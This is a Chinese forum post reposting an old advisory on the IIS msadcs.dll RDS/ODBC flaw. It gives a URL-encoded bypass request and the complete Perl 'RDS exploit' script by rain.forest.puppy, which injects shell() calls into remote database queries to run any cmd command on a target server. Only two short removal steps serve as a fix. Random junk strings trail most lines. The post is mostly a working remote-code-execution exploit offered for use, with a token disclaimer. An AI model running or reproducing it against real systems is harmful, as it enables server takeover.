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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 'ZT!a]4  
VmBLNM?  
涉及程序: -rH4/Iby  
Microsoft NT server NWCnt,FlY  
4 CX*,7LZ  
描述: b@1QE  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Syp|s3u;  
wO8^|Yf  
详细: ?N11R?8  
如果你没有时间读详细内容的话,就删除: 7 UQD02  
c:\Program Files\Common Files\System\Msadc\msadcs.dll IZAbW  
有关的安全问题就没有了。 \SLYqJ~m  
qh.c#t  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 0QC*Z (  
GrM~ %ng  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 KL5rF,DME  
关于利用ODBC远程漏洞的描述,请参看: }=f}@JlFB  
Q&QR{?PMD  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm G)<k5U4  
X/7: *  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 zZiB`%  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp H?'VQ=j  
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这里不再论述。 jC\R8_  
yaX,s 4p  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ww\/$ |  
Ok:@F/ v  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset G^2"\4R]p  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ~{5%~8h.0r  
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ZV Gw@3  
#将下面这段保存为txt文件,然后: "perl -x 文件名" yS3x))  
3c9[FZ@ya  
#!perl ^k)f oD  
# T.1z<l""  
# MSADC/RDS 'usage' (aka exploit) script -%t0'cKn,  
# !Uj !Oy  
# by rain.forest.puppy V_ ]4UE  
# Pc(2'r@#  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me g|+G(~=e|  
# beta test and find errors!  Mys;Il "  
Ffhbs D  
use Socket; use Getopt::Std; be764do  
getopts("e:vd:h:XR", \%args); & 9?vQq|%  
M>]%Iu  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; {UUVN/$  
@DUdgPA  
if (!defined $args{h} && !defined $args{R}) { rmhCuY?f  
print qq~ S"eKiS,z  
Usage: msadc.pl -h <host> { -d <delay> -X -v } =}q4ked /  
-h <host> = host you want to scan (ip or domain) kfVG@o?o  
-d <seconds> = delay between calls, default 1 second w_{z"VeD  
-X = dump Index Server path table, if available I|LS_m  
-v = verbose 6F(yH4  
-e = external dictionary file for step 5 4sJx_Qi  
Xoik%T-  
Or a -R will resume a command session ag+ML1#)  
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~; exit;} siG?Sd_2  
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$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; (dT!u8Oe  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} lZua"Ju  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} yf8UfB#a  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ,U tw!]  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} }3*h`(Bv7  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 05zHLj  
'qP^MdoE%~  
if (!defined $args{R}){ $ret = &has_msadc; pvM8PlYo]`  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 7L\GI`y  
I^wj7cFo5  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ,yqzk.  
. "cmd /c "; {xykf7zp  
$in=<STDIN>; chomp $in; 8qc %{8  
$command="cmd /c " . $in ; A,og9<+j-  
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if (defined $args{R}) {&load; exit;} 0 iE).Za0g  
Pz)QOrrG~  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; N1Z8I:  
&try_btcustmr; j(BS;J$i  
5]Ra?rF  
print "\nStep 2: Trying to make our own DSN..."; u}rot+)%  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 3D.S[^s*  
e-')SB  
print "\nStep 3: Trying known DSNs..."; "@?|Vv,vn  
&known_dsn; X|QCa@Foe  
 bSR<d  
print "\nStep 4: Trying known .mdbs..."; {UmCn>c  
&known_mdb; Hb+#*42v  
9e)+<H  
if (defined $args{e}){ :fYwFD( 9  
print "\nStep 5: Trying dictionary of DSN names..."; _]S6>  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } p)^:~ ll  
`p{ !5  
print "Sorry Charley...maybe next time?\n"; Yz,!#ob$  
exit; w.Vynb  
)ra66E  
############################################################################## '*XNgvX  
 b:QFD|  
sub sendraw { # ripped and modded from whisker Riw7<j  
sleep($delay); # it's a DoS on the server! At least on mine... @NNLzqqY  
my ($pstr)=@_; -h@0 1  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || \zI&n &T  
die("Socket problems\n"); 7L+X\oaB  
if(connect(S,pack "SnA4x8",2,80,$target)){ ?R]y}6 P$  
select(S); $|=1; ;F""}wzn  
print $pstr; my @in=<S>; 3N"&P@/0x  
select(STDOUT); close(S); I PVzV\o  
return @in; ]jb4Z  
} else { die("Can't connect...\n"); }} AMd)d^;  
T{<@MK%],d  
############################################################################## =b!J)]  
!ix<|F5  
sub make_header { # make the HTTP request 7Hl_[n|  
my $msadc=<<EOT dT)KvqX  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 S8OVG4-  
User-Agent: ACTIVEDATA klJ[ {p  
Host: $ip @sHw+to|p)  
Content-Length: $clen ,GJ>vT)  
Connection: Keep-Alive b!X"2'  
HQ3`:l  
ADCClientVersion:01.06 bez'[Y{  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Dum`o^l#  
paNw5] -  
--!ADM!ROX!YOUR!WORLD! (bx\4Ws  
Content-Type: application/x-varg OJsd[l3xR  
Content-Length: $reqlen ;hA7<loY  
!049K!rP{  
EOT bk wa{V  
; $msadc=~s/\n/\r\n/g; Dw`m>'J0  
return $msadc;} "b>KUzuYT  
8F^,8kIR  
############################################################################## 48 CI8[T  
QG|GXp_q`  
sub make_req { # make the RDS request 9*|3E"Vr  
my ($switch, $p1, $p2)=@_; *?bk?*?s  
my $req=""; my $t1, $t2, $query, $dsn; %R|"Afa=  
vV.~76AD5  
if ($switch==1){ # this is the btcustmr.mdb query ,xYsH+ybA  
$query="Select * from Customers where City=" . make_shell(); =~hsKBt*  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Wzqb>.   
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} {@V3?pG?p  
^.#X<8hr  
elsif ($switch==2){ # this is general make table query M%&A.j[  
$query="create table AZZ (B int, C varchar(10))"; 2]D$|M?$~  
$dsn="$p1";} RM&H!E<#  
yQZ/ ,KX  
elsif ($switch==3){ # this is general exploit table query #*$_S@  
$query="select * from AZZ where C=" . make_shell(); "J pTE \/  
$dsn="$p1";} TF=k(@9J?  
j/H>0^  
elsif ($switch==4){ # attempt to hork file info from index server i_=?eUq%q/  
$query="select path from scope()"; DB`$Ru@  
$dsn="Provider=MSIDXS;";} ]3t1=+  
_ktK+8*6`  
elsif ($switch==5){ # bad query #zS1Z f^KP  
$query="select"; h `\$sT!Z  
$dsn="$p1";} U!&_mD# c  
[ WV@w  
$t1= make_unicode($query); Y=vVxVI\  
$t2= make_unicode($dsn); ><NI'q*cQ  
$req = "\x02\x00\x03\x00"; A%Bgp?B  
$req.= "\x08\x00" . pack ("S1", length($t1)); yo\N[h7  
$req.= "\x00\x00" . $t1 ; C8IkpAD  
$req.= "\x08\x00" . pack ("S1", length($t2)); ic*->-!  
$req.= "\x00\x00" . $t2 ; ;rB6u_5"I.  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; E X%6''ys  
return $req;} yoBgr7gS  
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############################################################################## {=UFk-$=  
Fe!D%p Qv  
sub make_shell { # this makes the shell() statement Bo`Tl1K#  
return "'|shell(\"$command\")|'";} d<Ggw#}:m  
Z_H?WGO  
############################################################################## #`W=m N(+k  
LHh5 v"zjG  
sub make_unicode { # quick little function to convert to unicode `|$'g^eCL  
my ($in)=@_; my $out; I2f?xJ2/Z  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } {?E<](+0  
return $out;} s\[LpLt  
:e*DTVv8  
############################################################################## 'E4AV58.  
ypx: )e"/  
sub rdo_success { # checks for RDO return success (this is kludge) lnS(&`oh\=  
my (@in) = @_; my $base=content_start(@in); l)4O .*  
if($in[$base]=~/multipart\/mixed/){ #j;Tb2&w  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} % Y~>Jl  
return 0;} N XpmT4  
5?WYsj"  
############################################################################## (Uk>?XAr  
~ 9GOk;{~&  
sub make_dsn { # this makes a DSN for us <,"4k&0Q>V  
my @drives=("c","d","e","f"); (n,u|}8Y  
print "\nMaking DSN: "; /F.Wigv  
foreach $drive (@drives) { ,57$N&w  
print "$drive: "; 07V8;A<,  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .  qve ./  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" -$(Jk<  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); NzQ9Z1Mxy  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; JK]R*!{n  
return 0 if $2 eq "404"; # not found/doesn't exist 0Vkl`DmeM.  
if($2 eq "200") { e,>%Z@92(  
foreach $line (@results) { kH'p\9=  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} z-dFDtiA  
} return 0;} xl(@C*.sC1  
L*h{'<Bz  
############################################################################## nd ink$  
u:&o}[  
sub verify_exists { j%L&jH 6@  
my ($page)=@_;  8"%RCE  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ]5}=^  
return $results[0];} UDy(dn>J:J  
1|{bDlmt  
############################################################################## %<"}y$J  
K<4Kk3  
sub try_btcustmr { :`\) P,  
my @drives=("c","d","e","f"); :Zt2'vcGpf  
my @dirs=("winnt","winnt35","winnt351","win","windows"); n(1')?"mA  
\(~wZd  
foreach $dir (@dirs) { MP^ d}FL  
print "$dir -> "; # fun status so you can see progress BHA923p?  
foreach $drive (@drives) { p8}(kHUp(  
print "$drive: "; # ditto fpWg R4__  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; E<E3&;qD  
$reqlenlen=length( "$reqlen" ); S?ujRp  
$clen= 206 + $reqlenlen + $reqlen; :O-iykXyI  
S0d~.ah30  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 2f>PO +4S{  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} }|\d+V2On  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ^/U27B  
WIr2{+#  
############################################################################## h.eM RdlO  
m8R9{LC  
sub odbc_error { Z[Qza13lo  
my (@in)=@_; my $base; Wy .IcWK  
my $base = content_start(@in); Rk6deI]  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ;5_{MCPM  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; KLoE&ds  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; NVKC'==0  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; e~l#4{w  
return $in[$base+4].$in[$base+5].$in[$base+6];} = ?D(g  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; S! Rc|6y%  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . E/M_lvQ  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ]z/Zq  
H}hFFI)#Oo  
############################################################################## !RB)_7  
$+JS&k/'m  
sub verbose { aNcd` $0  
my ($in)=@_; Zxr!:t7  
return if !$verbose; e^p +1-B  
print STDOUT "\n$in\n";} W>_]dPBS/  
j#r6b]k(Hv  
############################################################################## {]_uMg#!  
z]B]QB Y[  
sub save { +T/FeVQ  
my ($p1, $p2, $p3, $p4)=@_; 7SDFz}  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; L`f^y;Y.  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; j /=i Mq  
close OUT;} De7T s  
:NJ_n6E  
############################################################################## $mf u:tbP  
glDcUCF3  
sub load { W} WI; cI  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; E_Z{6&r  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); !!@A8~H  
@p=<IN>; close(IN); 8fA_p}wp  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); EA ]+vq  
$target= inet_aton($ip) || die("inet_aton problems"); )u))n#P  
print "Resuming to $ip ..."; SJD@&m%?[  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; >U F  
if($p[1]==1) { !.2<| 24  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; V5+SWXZ  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; l/;X?g5+  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); *8~86u GU  
if (rdo_success(@results)){print "Success!\n";} c/c$D;T  
else { print "failed\n"; verbose(odbc_error(@results));}} pv| Pm  
elsif ($p[1]==3){ \RNg|G  
if(run_query("$p[3]")){ ^u 3V E  
print "Success!\n";} else { print "failed\n"; }} wFG3KzEq ~  
elsif ($p[1]==4){ DNGvpKY@  
if(run_query($drvst . "$p[3]")){ 3u%{dGa  
print "Success!\n"; } else { print "failed\n"; }} 9x,RvWTb  
exit;} Uj&W<'I  
.<kqJ|SVi  
############################################################################## pr%nbl  
nUkaz*4qU  
sub create_table { Bl=tYp|a  
my ($in)=@_; >0Q|nCx  
$reqlen=length( make_req(2,$in,"") ) - 28; cuOvN"nuNj  
$reqlenlen=length( "$reqlen" ); !w&kyW?e  
$clen= 206 + $reqlenlen + $reqlen; H'Yh2a`!o  
my @results=sendraw(make_header() . make_req(2,$in,"")); GhPK-+"X  
return 1 if rdo_success(@results); NcY608C  
my $temp= odbc_error(@results); verbose($temp); JN7k2]{  
return 1 if $temp=~/Table 'AZZ' already exists/; DTWD |M  
return 0;} 0uBl>A7qhn  
l<M'=-Y  
############################################################################## A*W) bZs.  
|_u aS  
sub known_dsn { g-Pwp[!qkf  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go aZ\UrV4,  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", @LJpdvb  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ,t1abp{A  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); =y=cW1TG  
>}(CEzc8  
foreach $dSn (@dsns) { QBR=0(giF  
print "."; Rp$}YN  
next if (!is_access("DSN=$dSn")); %vBhLaE  
if(create_table("DSN=$dSn")){ *Vho?P6y\Y  
print "$dSn successful\n"; ek&kv#G  
if(run_query("DSN=$dSn")){ 41fJ%f` G  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ,^S@EDq  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 2B,] -Mu)  
NV#FvM/#"  
############################################################################## gzeQ|m2]  
s|D>-  
sub is_access { 6 PxW8pn  
my ($in)=@_; n8. kE)?  
$reqlen=length( make_req(5,$in,"") ) - 28; umdG(osR  
$reqlenlen=length( "$reqlen" );  x]z2Z*  
$clen= 206 + $reqlenlen + $reqlen; t=xOQ 8  
my @results=sendraw(make_header() . make_req(5,$in,"")); [CAR[ g&  
my $temp= odbc_error(@results); \Y{k7^G}A  
verbose($temp); return 1 if ($temp=~/Microsoft Access/);  YBnA+l*  
return 0;} ApjOj/  
ncx(pp  
############################################################################## J/3_C6UZ  
6)BR+U  
sub run_query { w4fW<ISg  
my ($in)=@_; N~F RM& x  
$reqlen=length( make_req(3,$in,"") ) - 28; D\e8,,H  
$reqlenlen=length( "$reqlen" ); a<fUI%_  
$clen= 206 + $reqlenlen + $reqlen; 5^j45'%I  
my @results=sendraw(make_header() . make_req(3,$in,"")); T,$WlK Wj  
return 1 if rdo_success(@results); c*R/]Dn   
my $temp= odbc_error(@results); verbose($temp); n3sUbs;  
return 0;} *OyHHq|>q  
+b3^.wkq  
############################################################################## r 6Q Q  
"kc/J*u-3  
sub known_mdb { j+HHQd7Y  
my @drives=("c","d","e","f","g"); mLL340c#\  
my @dirs=("winnt","winnt35","winnt351","win","windows"); |c`w'W?C6  
my $dir, $drive, $mdb; ?:Bv iF);/  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; yZ!T8"mz{  
72,rFYvpK  
# this is sparse, because I don't know of many @}:uu$OH  
my @sysmdbs=( "\\catroot\\icatalog.mdb",  ;vb8G$  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", IVW1]y  
"\\system32\\certmdb.mdb", "HXYNS>  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% VAXT{s&4>  
yOvm`9  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", <`0h|m'U  
"\\cfusion\\cfapps\\forums\\forums_.mdb", K'h1szW  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", |{@FMxn|q  
"\\cfusion\\cfapps\\security\\realm_.mdb", wYlf^~#"  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 5cWw7V<m  
"\\cfusion\\database\\cfexamples.mdb", <?D\+khlq  
"\\cfusion\\database\\cfsnippets.mdb", Dn>%%K@0  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", F H1Z 2  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", O3CFme  
"\\cfusion\\brighttiger\\database\\cleam.mdb", {%#)5l)  
"\\cfusion\\database\\smpolicy.mdb", RNQK  
"\\cfusion\\database\cypress.mdb", y?SyInt  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 8 B**8yg.  
"\\website\\cgi-win\\dbsample.mdb", 21(p|`X  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", /W<>G7%.  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" mYU9 trHV  
); #these are just 07Ed fe  
foreach $drive (@drives) { &ZTr  
foreach $dir (@dirs){ ( 9]_ HW[  
foreach $mdb (@sysmdbs) { eX_D/25 $  
print "."; t5[[JD1V  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ N D<HXO  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ]!IVz)<E&  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ C.kxQ<  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; W0=O+0$^  
} else { print "Something's borked. Use verbose next time\n"; }}}}} &gI~LP  
SwU\ q]^|Z  
foreach $drive (@drives) { iZZ (4  
foreach $mdb (@mdbs) { }za[E>z  
print "."; = P   
if(create_table($drv . $drive . $dir . $mdb)){ wKH ::!  
print "\n" . $drive . $dir . $mdb . " successful\n"; nhN);R~o"1  
if(run_query($drv . $drive . $dir . $mdb)){ #Oha(mRY  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; x 2QIPUlf  
} else { print "Something's borked. Use verbose next time\n"; }}}} D3c2^r $Z  
} $#|gLVOQ  
vLxQ *50v$  
############################################################################## }$\M{# C~  
p!/[K6u  
sub hork_idx { ^;c16  
print "\nAttempting to dump Index Server tables...\n"; ,/O[=9l36R  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; j|tC@0A  
$reqlen=length( make_req(4,"","") ) - 28; sK=0Np=`  
$reqlenlen=length( "$reqlen" ); >]%8Zx[  
$clen= 206 + $reqlenlen + $reqlen; StI1){Wf  
my @results=sendraw2(make_header() . make_req(4,"","")); ?`[NFqv_]  
if (rdo_success(@results)){ .qA{xbu  
my $max=@results; my $c; my %d; >h+349  
for($c=19; $c<$max; $c++){ }CxvT`/  
$results[$c]=~s/\x00//g; [j4v]PE  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ;#MB7A  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; B??J@+Nf  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 4'p=p#o  
$d{"$1$2"}="";} NU (AEfF  
foreach $c (keys %d){ print "$c\n"; } RmI1`  
} else {print "Index server doesn't seem to be installed.\n"; }} ^2 ]LV6I  
\(p{t  
############################################################################## xug)aE  
7FO'{Qq  
sub dsn_dict { _ IeU+tS  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 79=45'8  
while(<IN>){ //Ai.Q.J[  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; YK{a  
next if (!is_access("DSN=$dSn")); KLC{7"6e)  
if(create_table("DSN=$dSn")){ @ d"wAZzD?  
print "$dSn successful\n"; h.K(P+h  
if(run_query("DSN=$dSn")){ o/o:2p.  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Y\2|x*KwvF  
print "Something's borked. Use verbose next time\n";}}} }1-I[q6  
print "\n"; close(IN);} oPKXZU(c  
E2B>b[  
############################################################################## sCl$f7"  
2i|B=D(  
sub sendraw2 { # ripped and modded from whisker <Q<+4Y{R  
sleep($delay); # it's a DoS on the server! At least on mine... ;3C:%!CdA]  
my ($pstr)=@_; nU`Lhh8y  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || SK$Vk[c]  
die("Socket problems\n"); u&QKwD Uh  
if(connect(S,pack "SnA4x8",2,80,$target)){ 6aOp[-Le  
print "Connected. Getting data"; >uJ/TQU  
open(OUT,">raw.out"); my @in; ^;F{)bmu+)  
select(S); $|=1; print $pstr; f+vVR1  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} *@V*~^V"J[  
close(OUT); select(STDOUT); close(S); return @in; ZkB3[$4C=5  
} else { die("Can't connect...\n"); }} (sw-~U%  
=7 ,Kf} 6  
############################################################################## `#IcxweA  
/-0' Qa+*  
sub content_start { # this will take in the server headers =FW5Tkw0  
my (@in)=@_; my $c; }1+%_|Y-E  
for ($c=1;$c<500;$c++) { #p yim_  
if($in[$c] =~/^\x0d\x0a/){ 9>,Qgp,w  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } &d`^ E6#  
else { return $c+1; }}} xk~Nmb}  
return -1;} # it should never get here actually R_D c)  
Qu{c B^Ga*  
############################################################################## ~tm0QrJn/  
INMP"1  
sub funky { /c+)C"  
my (@in)=@_; my $error=odbc_error(@in); #\If]w*j  
if($error=~/ADO could not find the specified provider/){ :,*eX' fH  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; B!aK  
exit;} :\V,k~asl  
if($error=~/A Handler is required/){ VTe.M[:  
print "\nServer has custom handler filters (they most likely are patched)\n"; nJ3vi}`  
exit;} a5`eyL[f  
if($error=~/specified Handler has denied Access/){ ;MTz]c  
print "\nServer has custom handler filters (they most likely are patched)\n"; 9Yw]Y5l  
exit;}} DacJ,in_I{  
jv}=&d  
############################################################################## #7z|mVzH  
-Fwh3F 4g  
sub has_msadc { 6 `puTL?  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Z6=~1'<X  
my $base=content_start(@results); ~y\:iL//E  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); K=kH%ZK  
return 0;} t;Wotfc[#0  
0P 5BArJ?  
######################## k0&lu B%  
<NQyP{p  
aV|k}H{wt  
解决方案: 3&J&^O  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll q`loOm=y  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 W8.j /K:  
s-5wbi.C  
拿出来充数 哈哈
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